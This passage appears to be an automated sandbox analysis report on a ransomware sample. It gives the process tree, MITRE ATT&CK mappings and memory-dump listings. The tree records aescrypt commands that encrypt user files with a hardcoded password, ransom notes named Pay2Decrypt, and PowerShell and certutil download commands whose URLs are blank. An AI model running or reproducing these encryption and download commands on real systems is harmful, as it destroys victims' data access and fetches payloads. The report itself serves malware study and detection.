- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1924
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:1876
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1388
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Indexed.lck" "Indexed"
    3⤵
    PID:916
- - C:\Windows\system32\attrib.exe
    attrib +r "Indexed.lck"
    3⤵
    PID:1352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1832
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:1032
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c Invoke-WebRequest -Uri -OutFile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:960
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f
    3⤵
    PID:220

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\InstallLock.xps.lck
1⤵
- Modifies registry class
PID:1772

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Pay2Decrypt3.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:820

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Pay2Decrypt1.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:1632

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\Desktop\p2d.bat" "
1⤵
PID:1672
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Pay2Decrypt1.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:224

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" a -i#7zMap10835:64:7zEvent30677 -ad -saa -- "C:\Users\Admin\Desktop\p2d"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File Deletion

T1107

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/220-239-0x00000000FFE91000-0x00000000FFE93000-memory.dmp

Filesize
8KB

Download
memory/616-79-0x000000001ABE0000-0x000000001ABE2000-memory.dmp

Filesize
8KB

Download
memory/616-76-0x000007FEF4C90000-0x000007FEF567C000-memory.dmp

Filesize
9.9MB

Download
memory/616-80-0x000000001ABE4000-0x000000001ABE6000-memory.dmp

Filesize
8KB

Download
memory/616-83-0x000000001B700000-0x000000001B701000-memory.dmp

Filesize
4KB

Download
memory/680-61-0x00000000FF831000-0x00000000FF833000-memory.dmp

Filesize
8KB

Download
memory/740-192-0x000007FEF4BF0000-0x000007FEF55DC000-memory.dmp

Filesize
9.9MB

Download
memory/740-196-0x000000001AA24000-0x000000001AA26000-memory.dmp

Filesize
8KB

Download
memory/740-195-0x000000001AA20000-0x000000001AA22000-memory.dmp

Filesize
8KB

Download
memory/960-185-0x00000000024F0000-0x00000000024F2000-memory.dmp

Filesize
8KB

Download
memory/960-186-0x00000000024F4000-0x00000000024F6000-memory.dmp

Filesize
8KB

Download
memory/960-231-0x000007FEF4BF0000-0x000007FEF55DC000-memory.dmp

Filesize
9.9MB

Download
memory/960-235-0x000000001A8B0000-0x000000001A8B2000-memory.dmp

Filesize
8KB

Download
memory/960-236-0x000000001A8B4000-0x000000001A8B6000-memory.dmp

Filesize
8KB

Download
memory/960-182-0x000007FEF4B80000-0x000007FEF556C000-memory.dmp

Filesize
9.9MB

Download
memory/1036-216-0x000000001AD60000-0x000000001AD62000-memory.dmp

Filesize
8KB

Download
memory/1036-217-0x000000001AD64000-0x000000001AD66000-memory.dmp

Filesize
8KB

Download
memory/1036-43-0x000000001ACC4000-0x000000001ACC6000-memory.dmp

Filesize
8KB

Download
memory/1036-212-0x000007FEF4BF0000-0x000007FEF55DC000-memory.dmp

Filesize
9.9MB

Download
memory/1036-42-0x000000001ACC0000-0x000000001ACC2000-memory.dmp

Filesize
8KB

Download
memory/1036-47-0x000000001C360000-0x000000001C361000-memory.dmp

Filesize
4KB

Download
memory/1036-41-0x000000001AD40000-0x000000001AD41000-memory.dmp

Filesize
4KB

Download
memory/1036-40-0x0000000001E90000-0x0000000001E91000-memory.dmp

Filesize
4KB

Download
memory/1036-45-0x0000000002120000-0x0000000002121000-memory.dmp

Filesize
4KB

Download
memory/1036-39-0x000007FEF4C90000-0x000007FEF567C000-memory.dmp

Filesize
9.9MB

Download
memory/1036-44-0x0000000002060000-0x0000000002061000-memory.dmp

Filesize
4KB

Download
memory/1120-210-0x000000001C3C0000-0x000000001C3C1000-memory.dmp

Filesize
4KB

Download
memory/1120-203-0x000007FEF4B50000-0x000007FEF553C000-memory.dmp

Filesize
9.9MB

Download
memory/1120-23-0x000007FEF4E90000-0x000007FEF587C000-memory.dmp

Filesize
9.9MB

Download
memory/1120-24-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/1120-27-0x000000001AC80000-0x000000001AC82000-memory.dmp

Filesize
8KB

Download
memory/1120-22-0x000007FEFBA01000-0x000007FEFBA03000-memory.dmp

Filesize
8KB

Download
memory/1120-208-0x000000001AC84000-0x000000001AC86000-memory.dmp

Filesize
8KB

Download
memory/1120-207-0x000000001AC80000-0x000000001AC82000-memory.dmp

Filesize
8KB

Download
memory/1120-28-0x000000001AC84000-0x000000001AC86000-memory.dmp

Filesize
8KB

Download
memory/1120-30-0x000000001AB50000-0x000000001AB51000-memory.dmp

Filesize
4KB

Download
memory/1120-26-0x0000000002620000-0x0000000002621000-memory.dmp

Filesize
4KB

Download
memory/1120-29-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/1120-25-0x000000001AD00000-0x000000001AD01000-memory.dmp

Filesize
4KB

Download
memory/1272-220-0x00000000FFC81000-0x00000000FFC83000-memory.dmp

Filesize
8KB

Download
memory/1304-62-0x000007FEF7810000-0x000007FEF7A8A000-memory.dmp

Filesize
2.5MB

Download
memory/1500-178-0x000000001AAA4000-0x000000001AAA6000-memory.dmp

Filesize
8KB

Download
memory/1500-173-0x000007FEF4BF0000-0x000007FEF55DC000-memory.dmp

Filesize
9.9MB

Download
memory/1500-177-0x000000001AAA0000-0x000000001AAA2000-memory.dmp

Filesize
8KB

Download
memory/1500-180-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

Filesize
4KB

Download
memory/1604-190-0x00000000FFEB1000-0x00000000FFEB3000-memory.dmp

Filesize
8KB

Download
memory/1668-55-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

Filesize
8KB

Download
memory/1668-52-0x000007FEF42A0000-0x000007FEF4C8C000-memory.dmp

Filesize
9.9MB

Download
memory/1668-56-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

Filesize
8KB

Download
memory/1668-59-0x000000001C1F0000-0x000000001C1F1000-memory.dmp

Filesize
4KB

Download
memory/1864-2-0x00000000760B1000-0x00000000760B3000-memory.dmp

Filesize
8KB

Download
memory/1868-222-0x000007FEF4B50000-0x000007FEF553C000-memory.dmp

Filesize
9.9MB

Download
memory/1868-225-0x000000001ACD0000-0x000000001ACD2000-memory.dmp

Filesize
8KB

Download
memory/1868-226-0x000000001ACD4000-0x000000001ACD6000-memory.dmp

Filesize
8KB

Download